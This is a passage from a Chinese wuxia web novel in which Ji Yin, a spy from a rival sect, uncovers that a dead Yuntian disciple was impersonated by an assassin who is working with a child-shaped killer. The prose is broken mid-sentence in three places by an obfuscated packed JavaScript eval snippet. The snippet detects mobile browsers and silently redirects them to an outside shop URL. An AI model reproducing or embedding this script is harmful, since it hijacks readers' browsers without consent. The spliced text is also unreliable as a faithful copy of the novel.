她与魏奚泽虽同为云天派长老,但武林中人向来讲究论资排辈。于是瞧见来人,魏奚泽还是行礼道:“师叔。” 李妙言显然并不在乎这些虚礼,略过寒暄客套,直接开门见山:“谢闻潇呢?” 她这么问,摆明已经了解了事情的前因后果,魏奚泽便也不再多言:“闻潇身受重伤,仍在昏迷,我便差人将他送了回去。” 李妙言道:“哦?看来你并不相信他是凶手。” 魏奚泽道:“师叔言重了。这孩子八九岁起就跟在我身边,他是什么脾气秉性,我这个当师父的,最了解不过。” 李妙言又道:“当时水牢里没有别人,你不怀疑他,难道怀疑周序?可周序已经死了,而且若我没记错,他跟着你的时间应当更久。” 魏奚泽不语。 那是很多年前的事了。彼时魏奚泽也不过十四五岁,第一次随师父下山游历,一路走来,既见识了月照山河影,也瞧见了鱼盐满市井,只觉书中所写不假,山下果然是很有意思的地方。 “师父,咱们接下来去哪?” “二十四桥,你不是一直都想去吗?” 确然如此。他曾在书中看到,十里长街市井连,月明桥上看神仙,所以早就想见识见识,那传说中的神仙究竟是什么样的。 可到了以后,他发现桥上根本没有神仙,只有一个又瘦又脏的少年,少年身后有一张草席,草席上盖着块脏布,脏布旁立了只木牌,上面写着“卖身葬弟”四个大字。 魏奚泽道:“你叫什么名字?” 少年抬头——一张脸生得本就平平无奇,再加上面黄肌瘦,满是污垢,显得更丑了。 他像是知道这一点,又赶紧将脑袋低了下去,嗫嚅半天才道:“我叫......周序。” “你父母呢?” “......死了。” “没有其他亲戚了吗?” “......有个舅舅。” 魏奚泽看了看周序身上的鞭痕,又看了看他那双裂满口子的手,心下了然:“你弟弟下葬,需要多少钱?” 听得此话,周序突然来了精神,只见他猛地将头抬起,眸子亮闪闪的:“我......我能放牛,能喂猪,会插秧,会打谷,我什么都能干!你......你能不能给我二两......不,不,一两银子就好。” 魏奚泽道:“一两银子就够吗?” 周序连连点头。 “那你吃什么,喝什么呢?” 周序道:“葬完弟弟以后,就剩我一个人了,一个人......好活的。” 31. 流言蜚语 魏奚泽看向师父,只是嘴巴还没张开,便被对方打断;“为师告诉过你,不要随便可怜别人。就算一人只要一片肉,但这世上可怜之人太多,你又有多少肉能剜给他们?” “奚泽啊,心软是病,情深致命。” 魏奚泽没有接话。 师父见状,继续道:“而且这孩子没有习武的天赋,就算你把他带回去,也不会有人愿意收他为徒。” 这是实话。要知道,习武多苦难,能学好的人,除去那些老天赏饭的好苗子,其他要么是真心喜欢,要么是抱负不凡。像周序这样只是为了混口饭吃的,就算学了,也未必能学,就算能学,也很难学好,更别提周序显然已错过了最佳习武年龄,没人收他,情理之中。 可魏奚泽依旧没有接话。 良久,他一撩衣摆,跪在了师父面前:“血可再生,肉可重筑,弟子愿以此身,结长冬,簪枯木。” 多年后,魏奚泽拿起那本写着“十里长街市井连,月明桥上看神仙”的书,仍颇有感慨:“虽未见仙人,但未留遗憾,也是不错。” 周序接过书,看了半天,却是难得反驳道:“仙人吗,有的。” 魏奚泽道:“你见过?” 周序笑道:“嗯,见过。” 只是逝者已逝,就算真的有神仙,恐怕也无力回天了。 魏奚泽叹道:“终是我害了他。” “我从未要疑心周序。” “只是......他真的是周序吗?” 听得此话,挤墙角的季音与付子修皆倒吸了一口凉气。 “什么意思,难道现在那个周序是假冒的?!” “啊?!那真的周序师兄呢?!假的这个又是什么人?!” 李妙言显然也吓了一跳,当即拍案道:“我这就命仵作前来验尸!” “不必。”魏奚泽摇头道:“我已亲自验过,如今冰室躺着的,确然是周序无疑。” “只是掌门临走前,曾叮嘱我留心周序。为避免打草惊蛇,近来我一直维持常态,却......并且发现有任何异常。” “掌门?”李妙言不屑道:“他还知道自己是云天派的掌门?” 这话可有些大逆不道了。就算李妙言高了白清旭一辈,但掌门就是掌门,妄议掌门......季音咋了咋嘴。 云天派她不清楚,但若是换做冥麟阁,谁要敢妄议司玄,那就可以提前收拾收拾准备下葬了。 于是她与付子修对视一眼,换上了一副看热闹不嫌事大的表情。 魏奚泽一怔:“师叔,掌门他......” 李妙言冷哼一声:“我知道你们两个关系好,你也不用替他说好话。如今情形,白夜澜政权未稳,白羽沅越狱潜逃,他却将左相府的小公子收了进来,这不是惹火上身是什么?” 门外,付子修听完,愣了一下:“我......原来会给大家惹麻烦吗?” 季音立刻反驳:“怎么可能?” 她虽喊得急,却也气虚,因为她知道这是实话,根本就没法反驳。 想想也知道了。惊九之案后,付朝得了白曦青睐,升官进爵,涌入左相府的门客幕僚络绎不绝。可以说如今紫宸朝廷的文官,半数往上都是在付朝手下讨生活。付朝往东,他们就不敢往西,付朝指南,他们绝不会向北,付朝要扶持白羽沅,等待白夜澜的就只有人去楼空。 故而白曦驾崩前,白羽沅才是最被看好的太子人选,再加上付朝与夏渊的支持,来日荣登大宝本就是理所应当。只是没想到白夜澜步步为营,暗中策反,最后一招釜底抽薪,竟然倒反天罡。 若白羽沅就这样死了,那倒也罢了。可偏偏不知为何,白夜澜没有赶尽杀绝。人没死就算了,现在居然还逃出来了,而且不知所踪。曾经倒戈的那帮人,哪个听完不心慌,哪个听完不手抖? 要知道,他们如今能得以升官加爵,那都是靠卖了白羽沅的短处换来的。但俗话说的好,卖主求荣,生死皆愁,看看梁桓就知道了。当年白羽沅肯用他们,必然也是捏住了他们的七寸,如今这样一个人在外面乱逛,换谁不害怕? 其实单就付朝而言,他定然是不怕白羽沅报复的——毕竟一个在官场浮沉大半辈子的老将,皇帝都熬走两个了,还能怕他个毛头小子不成? 但坏就坏在,他并非孑然一身。 他虽是当朝左相,一人之下,万人之上,可也是一个年过半百的老人了。 对于一个年过半百的老人来说,唯一的孙子就是他的弱点,他的软肋。 若白羽沅当真拿捏住了付子修,别说云天派,怕是整个紫宸都会天翻地覆。 殿内,魏奚泽显然也想到了这些:“师叔......” “二王争位时,白羽沅就曾将冥麟阁牵扯进来,甚至能让司玄亲自出手,足可见此人与魔教关系密切。” “如今末名派为白夜澜所用,且与冥麟阁已到了剑拔弩张的地步。我要是白羽沅,肯定不会选择冥麟阁这只出头鸟。既然躲不了冥麟阁,你说他会躲在哪儿?问天府?隐邺盟?我能猜到的,白清旭会猜不到?此番灵州城大乱,定跟这群魔教妖孽脱不了干系!” 魏奚泽叹道:“掌门......也是有苦衷的。” 李妙言道:“苦衷?苍璐念为夺空青扇,杀了苍溯淮不说,给咱们云天派惹了多少麻烦?可白清旭呢,非但不打不杀不严惩,反而整天好吃好喝的供着!还有那个何洛闵,弑师叛道,难道不该捉回云天就地正法吗?他倒好,置之不理,甚至任其为非作歹!这是什么苦衷?天底下哪有这样的苦衷?!” 门外的季音咋了咋嘴:看来云天派对白清旭有意见的大有人在啊。 魏奚泽长叹一声:“当年老掌门在时,便未曾对苍璐念狠下杀手。而今掌门如此作为,定有他自己的道理,咱们本就无权干涉。至于何洛闵,四年前的封神比武,他可是夺了巅峰榜第六的位置,就算是咱们掌门,也不过拿了第十,捉他回来,哪就有那么容易?” 李妙言道:“你还好意思说?身为一派掌门,却只拿到个巅峰榜最末位,如今竟还四处乱窜,不知勤加修练,恐怕再过几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010127|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,灵州城的那些小门小派就要踩在咱们头上了!” 魏奚泽道:“师叔您看,您也很清楚不是吗?如今四大神器接连现世,江湖局势不容乐观,尤其是五大正派,面和心不和,各家都打着各家的算盘。掌门继位时不过十九岁,师父暴毙,师兄叛逃,他既要主持大局,又要安抚人心,顶着多少质疑与压力走到现在,咱们都看在眼里,疼在心里,怎能再苛责于他?” “......好,好,这些我都可以不提。我只问你,他新收的那个小弟子是什么意思?” 殿外的季音下意识屏住了呼吸。 “怎么,别告诉我你看不出来。”李妙言拍桌:“那小丫头浑身带毒,除了程十鸢,天底下我想不到还有谁能教出这种徒弟!” 程十鸢三字一出,季音只感觉头皮都要炸开了,小腿肚也软的不行,多亏扶着墙才勉强站稳! 等等......这是什么意思? 单听这话,李妙言与她师父的关系,绝非一笔带过那么简单! 所以......她早就已经暴露了?! ...... 不可能啊! 这段时间,她一直小心谨慎,只用了一次毒不说,用的还是流传极广的哑毒,况且当时李妙言并不在场,她究竟是怎么被看穿的? 而且既然发现了,为什么没有杀她灭口,反而不动声色,甚至任她随意走动,自由出入? 难道他们......还有其他目的?! 季音下意识去看付子修。还好,这小公子似乎仍沉浸在他会给别人添麻烦这件事上,根本没注意殿内两人在谈论什么。 魏奚泽道:“她虽是冥麟阁弟子,但这段时间并未有出格之举。况且她是掌门带回来的,我们无权过问,亦无权干涉。” 李妙言仍不肯罢休,季音却没功夫听了。 她是掌门带回来的?这话是什么意思? 她从头到尾就没见过云天掌门啊! 然而还没等她想明白,李妙言的话就再次吸引了她的注意:“出格?还要怎样才叫出格?水牢那种地方她都去了,你明知道空青扇就在......” 直到与付子修道别,回到水榭,季音整个脑袋仍是乱嗡嗡的。 真相好像呼之欲出,却又好像若即若离,让她有些措手不及。 但无论怎样,今夜她得到了最重要的消息——空青扇应该就在云天水牢! 知道她是冥麟阁的弟子又如何?眼下灵州城不知被何方势力搞的一片狼藉,云天派又命案频发,自顾不暇,岂非正是她盗走空青扇的最好时机? 于是接连几日,季音一直在水牢附近蹲点。 虽说水牢连着出了两起命案,但如今光景,显然是灵州城内的形势更为严峻,故而大部分弟子都被魏奚泽派下山去帮忙了,剩下这些既要看守后山,又要守夜值勤,分派水牢的自然不过寥寥数人,再配合淬了毒的双刃——且慢,季音还是很有把握办成此事的。 可偏在这个时候,意外发生了。 付子修不见了。 32. 死而复生 自那夜偷听归来,付子修就一直闷闷不乐,干什么都提不起兴趣。裴诀自然不可能注意不到,但无论怎么问,付子修就是不肯说,甚至难得对裴诀黑了脸:“都说了没事了,别再问了行不行!” 季音倒是很能理解他的心情——一个自小被家人当宝贝宠的金疙瘩,到哪儿去不是备受夸赞,人人稀罕?可信心满满出来拜师学艺,却被人说成是累赘、麻烦,换作谁心里能好受? 理解归理解,她其实非常羡慕付子修。毕竟他还有家人替他兜底,就算世上所有人都说他是麻烦,但他的父母亲人肯定仍会把他当成宝贝疙瘩。 若换作是她,若司玄说她是麻烦,要把她赶出冥麟阁,她想不到,甚至不敢想自己该怎么办。 不过出乎季音的意料,对于这样的付子修,裴诀竟难得的没有多管,甚至任由他去了。 “......年轻人,吃过亏才会长记性。” 季音看着没比付子修年长多少的裴诀,汗颜离去。 而对于这些,付子修的解决办法就是——照顾好昏迷不醒的谢闻潇,以此来证明自己不是麻烦。 魏奚泽当然不同意,但耐不住对方软磨硬泡,加之云天派如今人手确然紧缺,便也应允下来。 可谁能想到,某日小弟子前去送药时,竟发现屋内一片狼藉,随处可见打斗的痕迹,原本躺在床上昏迷不醒的谢闻潇不见了踪影,而本应看护他的付子修也下落不明。 “没有血迹。” 裴诀一张脸沉得可怕,探查一番,留下了这么一句。 左相府的小公子失踪,这事情可就严重多了。不是说别人的命不值钱,而是这小公子的命更值钱,若他真出了什么事,只怕乱的就不止灵州城了。 于是魏奚泽大手一挥:所有弟子即刻行动,掘地三尺也要将失踪的两人找出来。 付子修这么一丢,那些围绕季音的风言风语很快便重新吹了起来。 “我就说季师妹不可能是凶手吧!整个云天派谁不知道她跟付师弟关系最好?她怎么可能会对付师弟下此毒手?” “切,那可一不定!我看她就是故意反其道而行之,混淆视听,蔽人耳目,好让咱们放松警惕!” “别说,还真有这种可能!嘶......我懂了......这个季音跟那个谢闻潇,根本就是一伙的!” “他俩一伙?什么意思?” “你们想啊!谢闻潇他那臭脾气也不是一天两天了,可周序师兄哪次跟他计较了?依我看,周序师兄一定是发现了什么,所以才被灭了口!” “你的意思是......水牢之事,是谢闻潇自导自演的?” “......就算如此,可这跟季师妹又有什么关系?要知道,那日在梁府,还是多亏季师妹仗义出手,周序师兄才能躲过一劫的!” “你看,全对上了不是!咱们云天派去的时候,那梁府命案已发生半月有余,这么长时间,官府的人去了那么多次都没事,怎么偏就周序师兄遇袭了?” “难不成......当时就是谢闻潇动的手?!” “什么难不成,根本就是!这两个家伙,一个杀人,一个救人,彻底利用了周序师兄的良善!有了周序师兄举荐,季音就能成功混进云天派,从而实施她的杀人大计!” 裴诀将这番话带给季音时,季音足足愣了有一刻钟才缓过神来。 ......这么丰富的想象力,不去写话本子真是太屈才了。 “......裴诀,你放心,子修是我的朋友,我一定不会看着他身陷险境。”说罢,季音叹了口气:“只要你相信,我不是杀人凶手,更没有伙同谢闻潇绑走子修。” 片刻的静默,裴诀起身,声音虽轻,却坚定异常:“季音姑娘,裴某信你。” 季音看着他的眼睛,眸光微动。 她并不怕谣言,毕竟在冥麟阁那么多年,她听过的关于自己的谣言实在太多太多了。 可即使不怕,却还是会在意。 所以如果能有人相信她,坚定地站在她这边,那就再好不过了。 于是第二日,季音提着双刃,进入了水牢。 因为灵州城之事,云天派多数弟子都被派去平反止乱了,再加上付子修骤然失踪,为了找人,剩下的云天派弟子几乎全员出动,故而季音只拆了两包迷药,就解决了看守水牢的那几个弟子。 季音没有忘记周序身死那日,她在水牢中看到过的那双万分诡异的眼睛,加之空青扇似乎就藏在这里,所以无论如何,她都得来探上一探。 也许是因为前不久刚来过,总而言之,季音一路上走的格外顺畅,很快便站在了关押苍璐念的那间牢房前。 可就在这时,牢房中的人似乎发现了她,铁链猛地晃动起来,传出阵阵沉闷的碰撞声。 “唔唔......唔唔......” 这是什么鬼动静? 见季音没有动作,对方开始变本加厉起来,把铁链摇的哐哐作响不说,断断续续的呜咽声也变得更加急促,甚至凄厉! 不是,这苍璐念不都被关了六七年了吗,难道这么久了还没习惯?一把年纪了咋呼什么? 再这样下去,早晚会把云天派那些弟子引来! ......不管了,先进去再说! 她本以为牢门设了禁制,毕竟这可是关押苍璐念的地方,没点儿威慑力还不叫她跑了? 可出乎她的意料,这就是道普通的牢门,还是一脚就能踹开的那种。 进去以后,更出乎她意料的事情发生了! 苍璐念......居然真的跑了!!! 不仅如此,那铁链上拴着的,不是付子修又是谁?!!! 季音显然没转过弯来,但身体比脑子快,再回神时,铁链尽断,付子修则已被她稳稳搀住。 他一把扯下塞住嘴的破布,急道:“女侠姐姐,快救谢闻潇!” “......谢闻潇?!他醒了?他在哪儿?!” 付子修一边咳嗽,一边扑向旁边的水池。 然而还没等他靠近,一枚毒镖便倏地飞出! “小心!” 季音眼疾手快,大步一迈,一把就将他扯了回来! 付子修被拽的卸了力,重重摔在地上,季音也被他拉的失了重心,身子一歪,猛地撞在墙上,撞的肋骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027489|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生疼,半天没缓过劲来。 “什么人?!”她强忍着疼痛喊道。 无人回应。 “子修......是谁把你们关在这里的?!” 这话仿佛触及了付子修的雷池,只见他满脸惊恐,哆哆嗦嗦站了起来,死死抓住季音:“是......是周序!女侠姐姐,是周序!” “......周序?!”季音的神情没比他好看多少:“哪个周序?他......他不是已经死了吗?!” 付子修像是突然想到什么,一张脸顿时变得煞白,拉起季音就往外跑:“不对......不对!这是个圈套!!!女侠姐姐,你快跑啊!!!他真正要抓的人是你!!!” 季音被他吼得浑身一悚,寒毛倒立,一时来不及思考,任由付子修拽着,如同亡命之徒,一路狂奔! 诡异的是,这水牢竟比季音来时大了不止一星半点,无论两人怎么跑,四面都是黑黢黢的牢房,永远看不到出口! “鬼......鬼打墙。”季音喘了口气,停住脚步:“前几天我就发现,这座水牢无论是形状还是位置,都很适合起阵。看来对方正是利用了这一点,布了阵法,咱们跑不掉了。” 付子修道:“那怎么办?” 季音亮出双刃:“跑不掉,那就打!” 话音刚落,一条长鞭就以迅雷不及掩耳之势攻了过来! 季音瞳孔骤缩,提刃挡下,手腕一翻,一把扯住鞭尾:“你到底是谁?!” “哎呀,小妹妹,这么快就不认识我了?” 听得此话,季音一惊,就在她泄力的瞬间,对方猛地扬鞭抽了过来! “女侠姐姐,快闪开!” 鞭子还是落了下来,不过却没落在季音身上,而是打在了付子修的手臂上! 鲜血的腥味顿时弥漫开来,水牢里的金血蛭与银线蛇似乎也嗅到了这丝腥甜,窸窸窣窣地开始活动起来。 “子修!” 手臂上火辣辣的灼痛感传来,付子修疼的龇牙咧嘴,但他还是挡在季音身前:“我没事!” 清脆的鼓掌声响起。 “少年英气,我很喜欢。” 下一瞬,“周序”缓缓出现在了两人面前:“不如你们两个,都跟我回去吧。” 只一眼,就吓得付子修几乎魂飞魄散。 他虽然不相信什么死而复生,但面前这人,无论是眼睛,鼻子,嘴巴,都跟周序一模一样! “你......你......” 不知是因为惊讶还是恐惧,付子修“你”了半天,什么都没说出来。 就在这时,季音上前一步,将付子修揽到了身后。 付子修一个踉跄:“......女侠姐姐......” 若说方才看到谢闻潇时,她还尚有几分疑虑,但经方才这么一闹,她却是全明白了。 ......早该想到的! 擅长伪装与易容,负责混淆敌人视听,令人难以分辨真伪。 明明不久前,她还中了这人的毒,不是吗? “怎么,都追到这里来了?”季音深吸一口气:“问天府,彩戏?” 33. 真相大白 “周序”冷笑一声,一步一步靠近两人,每靠近一步,他的模样就变化一分,直至那张脸再也瞧不出半分周序的影子。 果然如此。 真要说起来,这场戏,只怕从他们第一次见面时就开始了! 在梁府,是周序提出见到了行迹可疑之人,引付子修与裴诀前往密室,更是周序误触机关,抛出毒镖,甚至不惜嫁祸自己,只为能够更好的隐藏! 显然,她成功了——成功骗过了魏奚泽,骗过了季音,骗过了整个云天派! 一旁的付子修呆呆地看着她们,显然已经彻底懵了。 他只知道,这段时间以来,他喜欢的周序师兄,信赖的周序师兄,居然一直都是另一个人假扮的,并且假扮的毫无破绽,甚至完全没人发觉! 季音反手将付子修护在身后,紧紧盯着彩戏:“所以,梁府的灭门惨案,以及灵州城的那些命案,都是问天府所为?” 彩戏红唇微扬,算是默认。 “徐福的死,云天后山的那些尸块,也是你们的手笔?” 彩戏晃了晃脑袋,似是有些不耐烦了。 “苍璐念......也是你放走的?” 彩戏懒懒道:“小妹妹,你是在拖延时间么?” “拖延时间?”季音回道:“我们两人已经知道了你的真实身份,难不成你会让我们活着离开?” 彩戏笑道:“也许呢。” “有意思。”季音护着付子修向后退了几步:“不过更有意思的是......你们问天府居然要跟隐邺盟联手了?” 彩戏拨弄着手中的长鞭:“不是联手,是合作。” 季音侧首,压低声音道:“等会你先走,去找你师父来,我尽量替你争取时间!” 付子修一把扯住她的衣袖:“女侠姐姐!” “听话!” 付子修瞬间不做声了。 季音转头,看向彩戏:“合作?为什么?” “小妹妹,你话真的很多呢。”彩戏将目光对准两人,轻轻一笑:“还有,别想着替你身后那个小公子打掩护了,凭他一个人,是出不去这水牢的。” ......被看穿了! 季音心头一紧。 既然如此。 她举起手中的双刃,直指对方脖颈:“上次试过了你的毒,但你好像......还没试过我的?” 彩戏眸光微转:“哦?看来你们是打算硬碰硬了。” 说罢,她抬手,将一团黑乎乎的东西重重摔在了地上。 “如何?还要动手么?” 地上那团东西抖了两下,便再没了动静。 付子修疑惑道:“这是什么?” 季音同样不解,上前两步,蹲下身子,抬手将那东西翻了过来。 “......怀澈?!” 黑暗中,梁怀澈一张小脸泛着可怕的青灰色,双目紧闭,气息微弱,几乎已经是个死人了! 付子修见状,顿时来了火气,也顾不得什么害不害怕了,冲着彩戏吼道:“你对他做了什么?!” 彩戏道:“你们如果再敢轻举妄动,我保证他活不过今晚。” “......卑鄙!卑鄙无耻!”付子修气急:“欺负小孩算怎么回事!有本事你放了他,我来当你的人质!” 彩戏不语,只是静静地看着两人,眼中的笑意愈发浓郁。 季音抬眸——不对劲。 一定有什么地方不对劲! 那日水牢事发,彩戏明明一直和其他弟子在一起,哪有时间将周序的尸体放到水牢? 而且......放走苍璐念,绑走她和付子修,这么重要且危险的任务,问天府居然会只派彩戏一个人完成? 既要神不知鬼不觉的将付子修与谢闻潇带到这里,还要布阵将他们关押,仅凭彩戏一人,如何做到?! 沙沙......沙沙...... 寂静空旷的水牢内,靴底与地面的摩擦声显得格外刺耳。 季音浑身一震,猛地回头。 是谢闻潇。 他不知何时醒了过来,强忍着伤痛走到这里。 一路蜿蜒而来的,不知是水还是血。 “......谢师兄?你......你醒了!”瞧见来人,付子修惊喜异常,起身就要朝他扑去。 可下一瞬,他的衣角便被季音一把扯住! 付子修愣了一下,不解道:“......女侠姐姐?” 季音摇了摇头。 这里可是云天派,彩戏既敢肆无忌惮地在此行凶,必定留有后手。 比如......帮凶! 说时迟那时快,只见谢闻潇猛地上前,手中那柄巨剑直直朝着季音劈去! “不......不要!”付子修显然是被这一幕吓傻了,竟控制不住地胡乱喊了起来! 不过幸好,季音早已有所防范——只见她借力后撤,猛地旋身,恰到好处地躲过了这致命一击! 可出乎季音的意料,那巨剑一击未中,却并未停止攻势,反而变本加厉地刺向了她身旁的梁怀澈! ......糟了! 几乎就在季音掷出双刃回挡的瞬间,重物落地的声音响起,鲜血的腥甜登时自整个水牢弥漫开来。 “......怀澈!” 季音大惊,急忙上前去检查梁怀澈的伤势。 可定睛一瞧,地上躺着的哪里是梁怀澈?分明就是胸口被刺穿一个大洞的谢闻潇! 霎时,季音只感觉头皮猛地炸开,浑身的血液好像都凝固了。 仿佛是为了印证她的猜想,黑暗中,小孩子清脆的笑声在三人身后簌簌响起。 ......原来如此,原来如此! 那日在梁府,她明明就怀疑过的! 全府上下无一人生还,偏偏只有最年幼的梁怀澈活了下来。 而问天府的十二血影,上至七旬老人,下至七旬孩童,虽形色各异,却皆是高手。 ......真是好一个问天府! 季音猛地转身,看着愣在原地不知所措的付子修,又看着他身后那道小小的黑色身影,几乎是吼道:“趴下!” 说罢,她抄起双刃,直击彩戏面门! 下一瞬,胸口一阵剧痛,闷堵感迅速扩散,季音憋得喘不过气,当场一口鲜血喷出! 彩戏明明连动都没动,她却被直直踹飞了出去! “在我的阵里,你也敢动手?” 季音倒吸一口气,勉强撑起上半身,正好与面前那道身影四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037601|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目相对。 大大的眼睛,小小的身型,却全然不见稚童的天真与可爱。 “果然是你......梁怀澈!” 梁怀澈眨了眨眼,上前一步,一掌将季音拍在了地上! “女侠姐姐!” 季音闷哼一声,强忍着没有叫出声。 “我不叫梁怀澈,我叫......降婴。” 降婴,十二血影中排行第二,擅结阵,御符。多年前因身中奇毒,逆龄生长,致使容貌保持在了七岁孩童的模样。至于他究竟活了多少岁,恐怕连他自己也记不清了。 一旁的彩戏悠悠道:“好了,她是大长老要的人,下手轻点儿,别弄死了。” 大长老......何洛闵? 季音不敢动,她浑身都疼,但脑子格外疼。 何洛闵要她做什么? “谁让她之前把我当小孩儿哄。”降婴起身,拍了拍手:“放心,我有分寸。” “不过这小子......”说罢,他踢了踢躺在地上的谢闻潇:“倒是有点意思。” 付子修见状,赶紧挡在了谢闻潇面前。 降婴笑道:“放心,我暂时不想杀他。” “因为我很好奇,你是如何看穿我们身份的。” 黑暗中,谢闻潇踉踉跄跄地撑起身子,吐出嘴里的血:“那日......马车里......咳咳,我看见周序......抱着你......就有所怀疑。” 季音一愣:原来他那个时候就注意到了! “咳......周序跟我说过,他有个弟弟......小时候因为没钱,病死在他怀中。所以......他一直很抵触小孩子......更别说......抱在怀里哄!” 说到这里,谢闻潇似乎来了精神,再度提起那把巨剑,对准了降婴和彩戏:“那夜......周序去水牢送饭,却迟迟不归,我就知道......他一定是要动手了!” “我去找他,却发现原本设在苍璐念牢房的禁制破了。他......一直就躲在苍璐念身边,这才骗过了看守的那两人!” 原来如此! 季音心下了然。 想来那夜谢闻潇本想来水牢寻找周序,却不料撞破彩戏与苍璐念会面一事。 他虽未必猜出事情全貌,但周序是假的这一点错不了,于是两人便大打出手,但谢闻潇怎么可能是彩戏的对手,挨了揍不说,更是被对方摆了一道。 只怕他一直重伤不愈,迟迟未醒的原因,就是被彩戏下了毒! 当日的徐福......恐怕也是这样死的! 他们在水牢密谋苟且,恰巧被徐福看到。他慌慌张张就要逃,却在这时看清了周序的脸。 也许他会停住脚步,也许他想上前打个招呼,只是还没等松口气,便被那个素来友善的“大师兄”绞了脑袋。 今日也是一样。若来到这里的是魏奚泽等人,发现原本关押苍璐念的地方关住了付子修,谢闻潇还带着巨剑晕倒在旁边。届时无论弄死谁,这盘棋局都是死局,无论怀疑这两人中的哪一个,都怀疑不到还是孩子的梁怀澈身上,更不可能怀疑到早已死去的周序身上! 谜团似乎已经渐渐明晰,可季音总感觉,好像还是有什么地方不太对劲。 34. 云天掌门 啪......啪...... 清脆的拍掌声响起,只见彩戏缓步走至谢闻潇身边,唇角一勾:“看来......你倒是比你那位大师兄聪明多了。毕竟我用你的脸骗他时,他竟半分怀疑都没有,甚至到死都在劝你不要做傻事,哈哈哈......” 彩戏笑得肆虐,付子修却听得双眸赤红,呼哧带喘,反手就朝对方攻了过去! “子修!” 季音见状,撑起身子就要上前相助,只是人还没爬起来,便被降婴一脚踩在了脸上! “话说回来......”降婴抬手扯住她的头发:“你在水牢外鬼鬼祟祟蹲了这么多天,是为了什么,空青扇?” 砰! 那厢付子修一击未中,反被彩戏擒住,重重摔在了地上! 季音只感觉好像有成千上万根针扎进了头皮里,左半张脸彻底失去了知觉,疼得眼泪狂飙,哪里还有闲心回答他的问题,于是咬牙啐了一口:“关你......屁事!” 降婴脸色一变,一把便将她甩飞出去! 季音瞬间如同断了线的木鸢,直直撞上了不远处的石壁,撞得眼冒金星,鲜血直喷! 付子修见状,挣扎着爬起来,抄起谢闻潇的巨剑就往降婴身上砍!可别说他才学了几天剑法,就算再学几年,也不可能是降婴的对手,甚至剑还没举起来,便被对方一掌击垮:“就凭你,也配跟我打?” 彩戏终于认真起来:“他是左相府的人,劝你别动他。” 降婴不屑:“相府的人?那又如何?” 就在此时,一直默不作声的谢闻潇似是养足了精神,突然怒起,暴喝一声,提起巨剑砸向降婴! 降婴因是背对他,又以为此人受了重伤,已无甚威胁,便未曾设防,加之他虽武功强悍,但毕竟是孩童身型,竟让谢闻潇这凝聚浑身内力的一击得了手! 降婴捂着鲜血淋漓的左臂,眼里却没有愤怒,只有无尽的兴奋。 彩戏见状,忙道:“该走了。” 降婴却好像完全听不到了,眸中的兴奋越烧越旺,鬼魅般朝着谢闻潇攻了过去! 咔嚓咔嚓!骨头断裂的声音响起,谢闻潇额头瞬间冷汗直冒,吊着软绵绵的左臂就倒了下去! 彩戏又道:“降婴!该走了!” 降婴仍不为所动,自顾自地拿起那把巨剑,对准谢闻潇的脑袋就要往下刺! 关键时刻,付子修一个飞扑撞了出去! 他这一撞用尽了全力,撞得降婴一个趔趄,巨剑竟然真的脱了手! 然而还没等付子修松口气,他的心又瞬间悬到了嗓子眼——那巨剑并未按预想落在地上,而是直直朝着季音所在的方向刺去! 降婴失了神志,无论如何也要杀人见血才肯罢休! 换做平常,这一剑季音轻轻松松就能接下。但方才她被降婴摔的五脏移位,带着骨缝都隐隐作痛,连爬都爬不起来,更遑论躲剑了! 眼见季音就要被刺中,付子修急得整个人都抖了起来,边抖边扯子嗓子大喊:“女侠姐姐!!!” 噗呲。 血溅三尺! 季音只感觉面前一片湿热,大团粘稠的液体正顺着她的脸颊不停下淌。 脑袋仍旧嗡鸣不停,她愣了一瞬,恍恍惚惚睁开了眼睛。 ...... 血还在淌,可奇怪的是,她却并未感到半点疼痛。 定睛一瞧,自己面前竟不知何时多了一道绿色的身影! “裴兄!!!” 这一嗓子直接把季音喊醒了,瞬间睁大的眸子映出的不是别人,正是浑身鲜血的裴诀! ......他怎么会在这里?! 付子修像是吓傻了,直愣愣僵在原地,半天后才连滚带爬扑了过去:“裴兄......裴兄!!!” 降婴笑的猖狂:“你......找死!!” 他五指收紧,直直探向裴诀喉咙! 付子修见状,闭紧双眼,转身死死将裴诀护在怀中! 千钧一发之际,季音朝墙轰出一掌,借力撑起身子,举刃直取降婴脖颈! 彩戏眉头一蹙,长鞭飞起,紧紧缠住了季音的手腕。 ......中计了! 手腕翻转,季音猛地旋身,抬起手臂就是一肘! 彩戏哪里想到她还有力气玩这么一出,神色顿变,躲避不及,硬生生挨了她这一击! 不过季音也没讨到什么便宜,最后一击使出,她只感觉两眼一黑,头晕目眩,重重跌倒在地。 